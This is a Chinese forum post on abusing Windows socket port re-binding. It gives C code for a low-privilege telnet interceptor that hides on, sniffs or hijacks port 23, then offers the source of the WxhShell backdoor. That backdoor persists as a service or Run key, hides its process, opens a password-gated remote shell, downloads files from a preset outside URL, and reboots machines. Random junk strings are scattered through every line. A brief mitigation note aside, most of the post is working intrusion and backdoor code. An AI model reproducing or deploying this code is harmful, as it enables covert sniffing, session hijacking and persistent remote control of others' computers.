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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aI;-NnC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gy)2  
D0^h;wJ=4+  
  saddr.sin_family = AF_INET; ~sT1J|  
W`v$-o-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AF\Jh+ynT!  
%%FzBbWAO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E.N  
#f<3[BLx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TyhO+;  
76cLf~|d~  
  这意味着什么?意味着可以进行如下的攻击: 50""n7I<%  
H)+QkQb}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z3I |jy1  
/V GI@"^v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uH]oHh!}j  
c{ ([U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v =d16  
CorV!H4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F:N8{puq5  
"S H=|5+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D$N;Qb  
l"-Z#[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o$Ju\(Y$<+  
&-Ylj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z C<+BKS  
G>Hg0u0!,  
  #include Vh{(*p  
  #include Z@(KZ|  
  #include TJCE6QG  
  #include    LUdXAi"f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6n^@Ps  
  int main() 6EeO\Qj{  
  { |j~l%d*<w  
  WORD wVersionRequested; 9l(T>B2a  
  DWORD ret; vUCmm<y  
  WSADATA wsaData; ]I_*+^?tI  
  BOOL val; aW-6$=W  
  SOCKADDR_IN saddr; Wdi`Z E  
  SOCKADDR_IN scaddr; tI)|y?q  
  int err; _n1[(I  
  SOCKET s; 'o~gT ;T#  
  SOCKET sc; Al=ByX@  
  int caddsize; B"8jEYT5  
  HANDLE mt; t)1`^W}  
  DWORD tid;   1yVhO2`7]  
  wVersionRequested = MAKEWORD( 2, 2 ); MU%7'J :_  
  err = WSAStartup( wVersionRequested, &wsaData ); v7 n@CWnN  
  if ( err != 0 ) { "}V_.I* +  
  printf("error!WSAStartup failed!\n"); IC?(F]$%>  
  return -1; u*/+cT  
  } uP+VS>b  
  saddr.sin_family = AF_INET; PMUW<UI  
   tzthc*-<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jD${ZIv  
Ss%1{s~ok  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~Up{zRD"B  
  saddr.sin_port = htons(23); AmC?qoEWQ7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zy5FO<->  
  { cPv(VjS1;  
  printf("error!socket failed!\n"); bf|ePGW?  
  return -1; )+R n[MMp  
  } @S=9@3m{w;  
  val = TRUE; qV6WT&)T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hJsP;y:@Lm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w@<II-9L)<  
  { QFMA y>Gdn  
  printf("error!setsockopt failed!\n"); =3 Vug2*wd  
  return -1; LT"H -fTgs  
  } K_@?Q@#YhR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  /y wP 0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e[16 7uU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vd)zvI  
,yA[XAz~U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S*$?~4{R  
  { zCuB+r=C  
  ret=GetLastError(); `CI_zc=jx  
  printf("error!bind failed!\n"); T;?k]4.X  
  return -1; xJ2I@*DN  
  } |R1T;J<[  
  listen(s,2); i[@13kr  
  while(1) 2j}DI"|h  
  { 1[T7;i$  
  caddsize = sizeof(scaddr); [q_+s  
  //接受连接请求 _&/ {A|n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a6-.|tt#t  
  if(sc!=INVALID_SOCKET) B0%=! &  
  { 9 h?'zyX B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [iEz?1.,  
  if(mt==NULL) !1fZ7a  
  { ),-gy~  
  printf("Thread Creat Failed!\n"); )Qd x  
  break; ddyX+.LMk  
  } r5Tdp)S  
  } (6 Od   
  CloseHandle(mt); f um.G{}  
  } P.qzP/Ny  
  closesocket(s); I{jvUYrKH  
  WSACleanup(); )9:5?,SO  
  return 0; (v%24bv  
  }   Q{RmE:  
  DWORD WINAPI ClientThread(LPVOID lpParam) `/ayg:WSU  
  { P/girce0  
  SOCKET ss = (SOCKET)lpParam; 0'fswa)  
  SOCKET sc; XS">`9o!  
  unsigned char buf[4096]; ".tL+A[  
  SOCKADDR_IN saddr; Ff%V1BH[  
  long num; -X~mW  
  DWORD val; dWPQp*f2  
  DWORD ret; `r-jWK\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \?d3Pn5`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4G?^#+|^  
  saddr.sin_family = AF_INET; KGHSEZi]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vh;zV Y  
  saddr.sin_port = htons(23); ANy*'/f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GD{L$#i!  
  { c&!mKMrk  
  printf("error!socket failed!\n");  D**GC  
  return -1; Cq"KKuf  
  } hU8Y&R)=9  
  val = 100; `om+p?j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {PcJuRTHB  
  { <ZF|2  
  ret = GetLastError(); r~lZ8$KC  
  return -1; P}Kgh7)3  
  } 0{|HRiQH9+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k=hWYe$iAz  
  { Z0jgUq`r  
  ret = GetLastError(); /}(d'@8p  
  return -1; :Ko6.|  
  } Y8\P"q b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fq]PKLW'  
  { .mt%8GM  
  printf("error!socket connect failed!\n"); |zYOCDFf  
  closesocket(sc); o)/Pr7Qn  
  closesocket(ss); 4=xi)qF/@  
  return -1; kkF)Tro\  
  } ]:59c{O  
  while(1) ^ RA'E@ "  
  { Aw |;C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }OL"38P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `t&{^ a&Y"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |)29"_Kk5  
  num = recv(ss,buf,4096,0); jC9us>b  
  if(num>0) yZ|"qP1  
  send(sc,buf,num,0); .h7s.p?  
  else if(num==0) o)AwM"  
  break; s|]g@cz an  
  num = recv(sc,buf,4096,0); X#lNS+&='  
  if(num>0) P5h|* ?=  
  send(ss,buf,num,0); d9#Vq=H /  
  else if(num==0) xzm]v9k&  
  break; z%%O-1   
  } W]9*dabem  
  closesocket(ss); ff\~`n~WZ  
  closesocket(sc); @h%V:c  
  return 0 ; 4VWk/HK-!  
  } LH8jT  
RZm%4_p4s  
[@vz0!@s5  
========================================================== N Qk aW)  
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下边附上一个代码,,WXhSHELL 6Dlm. ~G  
f"QiVJq  
========================================================== (+> 2&@@<  
[1VA`:?W  
#include "stdafx.h" QPJ \Iu@D$  
elOeXYO0  
#include <stdio.h> {r,U ik-nL  
#include <string.h> wA=r ]BT  
#include <windows.h> ,#A(I#wL~  
#include <winsock2.h> Ymk?@mV4  
#include <winsvc.h> MzJCiX^  
#include <urlmon.h> HTJ2D@h  
7K1-.uQ  
#pragma comment (lib, "Ws2_32.lib") L*(9Hti  
#pragma comment (lib, "urlmon.lib") p,Ff, FfH  
l_vGp  
#define MAX_USER   100 // 最大客户端连接数 z8Q!~NN-K  
#define BUF_SOCK   200 // sock buffer *qd:f!Q3  
#define KEY_BUFF   255 // 输入 buffer <'a~Y3B"o  
~t`^|cr|  
#define REBOOT     0   // 重启 +I3jI <  
#define SHUTDOWN   1   // 关机 UN]gn>~j  
SS=<\q#MS  
#define DEF_PORT   5000 // 监听端口 >cu%Cs=m  
Z!1D4`w  
#define REG_LEN     16   // 注册表键长度 9%/hoA)  
#define SVC_LEN     80   // NT服务名长度  +$dJA  
z%;p lMj  
// 从dll定义API iC gZ3M]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :Ha/^cC/3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &L ;ocd$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BU O5g8m{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2ym(fk.6{  
rFRcK>X\L  
// wxhshell配置信息 ?+yr7_f3*  
struct WSCFG { pP. _%5  
  int ws_port;         // 监听端口 Mt[yY|Ec|  
  char ws_passstr[REG_LEN]; // 口令 c/;;zc  
  int ws_autoins;       // 安装标记, 1=yes 0=no F"@%7xy  
  char ws_regname[REG_LEN]; // 注册表键名 I{Zb/}k-  
  char ws_svcname[REG_LEN]; // 服务名 rf.pT+g.P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N9e'jM>Oos  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e7vm3<m4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ejROJXB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ALF0d|>=uj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /WrB>w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J1?;'  
2"Os9 KD  
}; ^9g$/8[^c_  
z;c>Q\Q  
// default Wxhshell configuration b$G{^  
struct WSCFG wscfg={DEF_PORT, 1K72}Gj)ZL  
    "xuhuanlingzhe", @IT[-d  
    1, j]Auun  
    "Wxhshell", o>el"0rn.h  
    "Wxhshell", z5+Pi:1w  
            "WxhShell Service", +HK4sA2;  
    "Wrsky Windows CmdShell Service", 'solCAy  
    "Please Input Your Password: ", Q#bW"},^k  
  1, 9mF '   
  "http://www.wrsky.com/wxhshell.exe", ~6[?=mOi'  
  "Wxhshell.exe" p@ <Q?  
    }; &OMlW _FHR  
V>@[\N[  
// 消息定义模块 U&!TA(Yr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j#NyNv(jE1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @CMI$}!{V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =~#mF<z5  
char *msg_ws_ext="\n\rExit."; j{@O %fv=  
char *msg_ws_end="\n\rQuit."; !NXjax\r  
char *msg_ws_boot="\n\rReboot..."; $%<{zWQm  
char *msg_ws_poff="\n\rShutdown..."; ?|nl93m  
char *msg_ws_down="\n\rSave to "; DeO-@4+qKd  
U( YAI%O  
char *msg_ws_err="\n\rErr!"; +&GV-z~o  
char *msg_ws_ok="\n\rOK!"; #NS|9jW  
6x+ujUBkK  
char ExeFile[MAX_PATH]; i_Kwxn$  
int nUser = 0; i2F7O"f.  
HANDLE handles[MAX_USER]; Ss3p6%V/  
int OsIsNt; 0YH5B5b  
=7Ln&tZ  
SERVICE_STATUS       serviceStatus; }0'=}BE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3]Z1kB  
 N5 ME_)  
// 函数声明 k(gbUlCc  
int Install(void); K9!HW&?<|  
int Uninstall(void); }LHYcNw^z  
int DownloadFile(char *sURL, SOCKET wsh); ^&zCPUH  
int Boot(int flag); =|t-0'RsN  
void HideProc(void); UhxM85M;x  
int GetOsVer(void); MK&,2>m,A  
int Wxhshell(SOCKET wsl); dkQ4D2W*\  
void TalkWithClient(void *cs); (jc@8@Wo.  
int CmdShell(SOCKET sock); <2$vo  
int StartFromService(void); y Zaf q"o  
int StartWxhshell(LPSTR lpCmdLine); &Mh.PzO=b  
L^J4wYFTO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]e>qvSuYh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6g(;2gY  
asWk]jjMG  
// 数据结构和表定义 qBA)5Sv\V  
SERVICE_TABLE_ENTRY DispatchTable[] = }:Z.g  
{ ,OE&e* 1  
{wscfg.ws_svcname, NTServiceMain}, tKbxC>w  
{NULL, NULL} z.vQ1~s  
}; i8iT}^  
x|H`%Z  
// 自我安装 z@*E=B1L  
int Install(void) Kv_2=]H  
{ `Os=cMR  
  char svExeFile[MAX_PATH]; bI):-2&s}  
  HKEY key; qmS9*me {  
  strcpy(svExeFile,ExeFile); mF4W4~"  
5ggyk0  
// 如果是win9x系统,修改注册表设为自启动 |v&)O)Jg  
if(!OsIsNt) { Xs03..S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tz @<hE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ``MO5${  
  RegCloseKey(key); K'A+V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lriezI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |9* Rnm_  
  RegCloseKey(key); !)s(Lv%]  
  return 0; L/k35x8  
    } c%&,(NJ]K  
  } m#"_x{oa  
} "?"  :  
else { -&+:7t  
Cbbdq%ySI  
// 如果是NT以上系统,安装为系统服务 ~i,d%a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &l(T},-X  
if (schSCManager!=0) 7)?C+=,0  
{ H2X_W Swm  
  SC_HANDLE schService = CreateService @0+\:F  
  ( P1#g{f  
  schSCManager, 5Xq+lLW>  
  wscfg.ws_svcname, 2/-m-5A  
  wscfg.ws_svcdisp, ($di]lbsT  
  SERVICE_ALL_ACCESS, corm'AJ/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |J $A%27  
  SERVICE_AUTO_START, xUJ(tG3  
  SERVICE_ERROR_NORMAL, (zhZ}C,VF  
  svExeFile, vNO&0~  
  NULL, B'Yx/c&n  
  NULL, 0s n$QmW:  
  NULL, NdK`-RT  
  NULL, (,At5 T  
  NULL w,%"+ tY_  
  ); ,NO[Piok  
  if (schService!=0) ^ u$gO3D  
  { Bm~^d7;Cw  
  CloseServiceHandle(schService); `?VK(<w0q  
  CloseServiceHandle(schSCManager); Gb')a/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9z,sn#-t  
  strcat(svExeFile,wscfg.ws_svcname); O4rjGTRF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &4Z8df!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >d 5-if  
  RegCloseKey(key); {`HbpM<=m]  
  return 0; j{C~wy!J  
    } 6IqPZ{g9K'  
  } :ez76oGyc  
  CloseServiceHandle(schSCManager); [R]V4Hb  
} r O87V!Cj  
} rwWOhD)RU  
5Tn<  
return 1; '5}hm1,  
} ;~3;CijJ8  
2/SUEnaLy_  
// 自我卸载 g[cnaS|?  
int Uninstall(void) u#6s^ )W  
{  ^B"LT>.[  
  HKEY key; (Mc{nFqS  
!t%1G.  
if(!OsIsNt) { P| NGAd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5BrN uR$  
  RegDeleteValue(key,wscfg.ws_regname); V_i&@<J  
  RegCloseKey(key); ZayJllaq^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y3@+aA  
  RegDeleteValue(key,wscfg.ws_regname); ~/^fdGr  
  RegCloseKey(key); !(*&P  
  return 0; m"L^tSD~  
  } [REH*_  
} B:>:$LIL  
} QPuc{NcB>  
else { O>E}Lu;|  
{-)^?Zb @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Csyh 'v  
if (schSCManager!=0) 6;E3|st1X  
{ :k9T`Aa]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tY$@,>2v  
  if (schService!=0) uQG|r)  
  { =Ti!9_~  
  if(DeleteService(schService)!=0) { 4 95Y<x}=  
  CloseServiceHandle(schService); @ 5d^ C  
  CloseServiceHandle(schSCManager); 8Hq4ppC  
  return 0; (-ELxshd  
  } ;X}2S!7Ko  
  CloseServiceHandle(schService); \7\sx:!$  
  } kB+$Kt<]L  
  CloseServiceHandle(schSCManager); wn"\ @QvG  
} \: ZDY(>1  
} Le83[E*i  
WOPIF~1v  
return 1; H~*N:$C  
} 8B ,S_0!  
@de  ZZ  
// 从指定url下载文件 LYAGpcG  
int DownloadFile(char *sURL, SOCKET wsh) IFW(nB(  
{ `*[Kmb\  
  HRESULT hr; Mn5(Kw?o2J  
char seps[]= "/"; ; &rxwL  
char *token; Qfp4}a=  
char *file; UhR^Y{W5  
char myURL[MAX_PATH]; '*[7O2\%/  
char myFILE[MAX_PATH]; '7' 73  
w#2apaz  
strcpy(myURL,sURL); vJr,lBHEk  
  token=strtok(myURL,seps); G%Lt>5*!nE  
  while(token!=NULL) / 1TK+E$  
  { xJ#O|7N  
    file=token; [#wt3<d`)  
  token=strtok(NULL,seps); 8-gl$h  
  } Ud"_[JtGM  
?Kmz urG  
GetCurrentDirectory(MAX_PATH,myFILE); g3s5ra[  
strcat(myFILE, "\\"); =f@71D1  
strcat(myFILE, file); +%<kcc3  
  send(wsh,myFILE,strlen(myFILE),0); *s, bz.[  
send(wsh,"...",3,0); };r EN`L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pv4#`.m  
  if(hr==S_OK) [4EIy"  
return 0; GRpwEfG  
else C-_u`|jQ  
return 1; [6\O <-?  
Rxw+`ru  
} `?^<r%*F.  
p  Dg!Cs  
// 系统电源模块 a^G>|+8  
int Boot(int flag) b L.Xb y<Y  
{ vh|m[p  
  HANDLE hToken; AN,3[Sh  
  TOKEN_PRIVILEGES tkp; <`q-#-V@  
z$Z%us>io  
  if(OsIsNt) { &~<i" W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sw$JY}Q8x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R0w~ Z   
    tkp.PrivilegeCount = 1; M~X~2`fFH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l"&iSq!3=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W`[7|8(6!  
if(flag==REBOOT) { ?(khoL t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;p,Kq5,l  
  return 0; F)l1%F Cm  
} PTpfa*t  
else { "T8b.ng  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) daB 5E<?  
  return 0; eMOp}.zt|  
} ?t;,Nk`jx  
  } i*xVD`x~  
  else { C9Cl$yZ  
if(flag==REBOOT) { x wfdJ(&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9e;{o,r@  
  return 0; O|v8.3[cT  
} t}K8{ V  
else { pNHL&H\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AgDXpaq  
  return 0; '*U_!RmQ  
} _0&U'/cs  
} #pD=TMefC  
.dc|?$XV  
return 1; hZ>1n&[ @  
} ju.`c->k"  
x {R j2~KC  
// win9x进程隐藏模块 ? _[ q{i{  
void HideProc(void) H_iQR9Ak7  
{ s2tNQtq 0W  
HS.eK#:N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (6)|v S  
  if ( hKernel != NULL ) Rs'mk6+  
  { vN6)Szim  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (^ J2(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;%AY#b4m  
    FreeLibrary(hKernel); [MAvU?;  
  } 6m9\0)R  
$-]9/Ct  
return; \O>;,(>i  
} BgsU:eKe  
;MO,HdP;  
// 获取操作系统版本 t4zKI~cO  
int GetOsVer(void) {o %OG/!1  
{ OQ3IkE`G  
  OSVERSIONINFO winfo; {ZUgyGE{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q-e(>=Gv_  
  GetVersionEx(&winfo); %pxHGO=)E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y<ZT~e  
  return 1; 1mv8[^pF  
  else x,<|<W5<%  
  return 0; wem hP8!gc  
} {>yy3(N  
_]kw |[)  
// 客户端句柄模块 ib(4Y%U6~  
int Wxhshell(SOCKET wsl) ~kZ? e1H  
{ e$-Y>Dd  
  SOCKET wsh; g0s *4E  
  struct sockaddr_in client; 3Q#3S  
  DWORD myID; l Ztw[c  
B5qlU4km&  
  while(nUser<MAX_USER) ~T\:".C  
{ 4='/]z  
  int nSize=sizeof(client); NHD`c)Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rVb61$  
  if(wsh==INVALID_SOCKET) return 1; BKfoeN)%  
810uxw{\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?,UO$#Xm  
if(handles[nUser]==0) ^4 ~ V/  
  closesocket(wsh); T:VFyby\w  
else 26-K:"  
  nUser++; !@f!4n.e|I  
  } _vOSOnU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ByW,YKMy  
 tZN'OoZ  
  return 0; g$9s} \6B  
} '+\.&'A  
}N#hg>; B  
// 关闭 socket QzD8 jk#  
void CloseIt(SOCKET wsh) 'zx1kq1  
{ `;3fnTI:1  
closesocket(wsh); ()EiBl(kWk  
nUser--; HhT6gJWrU  
ExitThread(0); a>)|SfsE  
} x4/f5  
\`|OAC0a  
// 客户端请求句柄 B&z~}lL  
void TalkWithClient(void *cs) e-YMFJtoK}  
{ 2PEA<{u  
pa6-3c  
  SOCKET wsh=(SOCKET)cs; l'#a2Pl  
  char pwd[SVC_LEN]; )C#b83  
  char cmd[KEY_BUFF]; 1|H(q  
char chr[1]; j<'ZO)q`Q  
int i,j; Bpdx]5qfK  
!WQS.&  
  while (nUser < MAX_USER) {  uzaD K  
%gV~e@|  
if(wscfg.ws_passstr) { Kd').w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 52z{   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7\Wq:<JL  
  //ZeroMemory(pwd,KEY_BUFF); )\l(h%s[I  
      i=0; -i"?2gK  
  while(i<SVC_LEN) { f _*F&-L  
kPF qsq  
  // 设置超时 ,I8[tiR"b  
  fd_set FdRead; @SH$QUM(  
  struct timeval TimeOut; 7\ kixfEg  
  FD_ZERO(&FdRead); gwv s  
  FD_SET(wsh,&FdRead); Y #6G&)M  
  TimeOut.tv_sec=8; vC%8-;8{H  
  TimeOut.tv_usec=0; O" ,*N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "1>48Z-UC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t(5PKD#~Dc  
Zf8_ko;|:-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6,Y<1b*|Vo  
  pwd=chr[0]; VgcLG ]tE[  
  if(chr[0]==0xd || chr[0]==0xa) { Eh|v>Yew  
  pwd=0; #@K %Mx  
  break; 9 az{j 1  
  } rCgoU xW`  
  i++; \[W)[mH_  
    } M%qHf{ B  
<~-cp61z;  
  // 如果是非法用户,关闭 socket =.8fES  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v0'`K 5M  
} "/qm,$  
I2<5#|CXpZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /}#@uC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;TTH  
4~mmP.c  
while(1) { oTLpq:9J  
f,'9Bj. ~  
  ZeroMemory(cmd,KEY_BUFF); 1_6oM/?'  
[mA\,ny9  
      // 自动支持客户端 telnet标准   y#)ad\  
  j=0; ?S~j2 J]  
  while(j<KEY_BUFF) { kr>H,%3~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )|`|Usn#[  
  cmd[j]=chr[0]; MtKM#@  
  if(chr[0]==0xa || chr[0]==0xd) { 'MY0v_  
  cmd[j]=0; vZ/Bzy@|  
  break; a?ux  
  } >`=<(8bu  
  j++; e)A-.SRiO$  
    } RG V}c#  
< r7s,][&  
  // 下载文件 o-r00H|  
  if(strstr(cmd,"http://")) { Z@ QJ5F1y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N Obw/9JO  
  if(DownloadFile(cmd,wsh)) ^%jk.*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F%^)oQT+c  
  else ERz{, >G?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X>4qL'b:z  
  } hmM2c15T5  
  else { jltW@co2sV  
Y;[+^J*a  
    switch(cmd[0]) { vvmG46IgZ  
  b_rHt s  
  // 帮助 v2;' F  
  case '?': { dxK3462  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P1IL ]  
    break; :DoE_  
  } w-wap  
  // 安装 /7jb&f   
  case 'i': { 'jj|bN  
    if(Install()) II) K0<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %+0V0.  
    else nX|]JW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9A!B|s  
    break; F0]xc  
    } r0(*]K:.  
  // 卸载 ]o3K  
  case 'r': { EaUO>S  
    if(Uninstall()) #d;/Me  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4"~l^yK  
    else ^< wn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $BUm,  
    break; s{ dgUX  
    } K0C3s  
  // 显示 wxhshell 所在路径 x_$`#m{hL5  
  case 'p': { Zj5B}[,l\  
    char svExeFile[MAX_PATH]; Ge+T[  
    strcpy(svExeFile,"\n\r"); ibn(eu<uW  
      strcat(svExeFile,ExeFile); M" R= ;n  
        send(wsh,svExeFile,strlen(svExeFile),0); q!4eVg*  
    break; ;<N%D=;}@  
    } $~r_&1  
  // 重启 <tT.m[qg  
  case 'b': { Z+g9!@'a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :hFKmoy#  
    if(Boot(REBOOT)) 3:"w"0[K3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Y3X*  
    else { i.Z iLDs\7  
    closesocket(wsh); 20?@t.aMp  
    ExitThread(0); pi;'!d[l%  
    } =:;K nS  
    break; Wf:LYL  
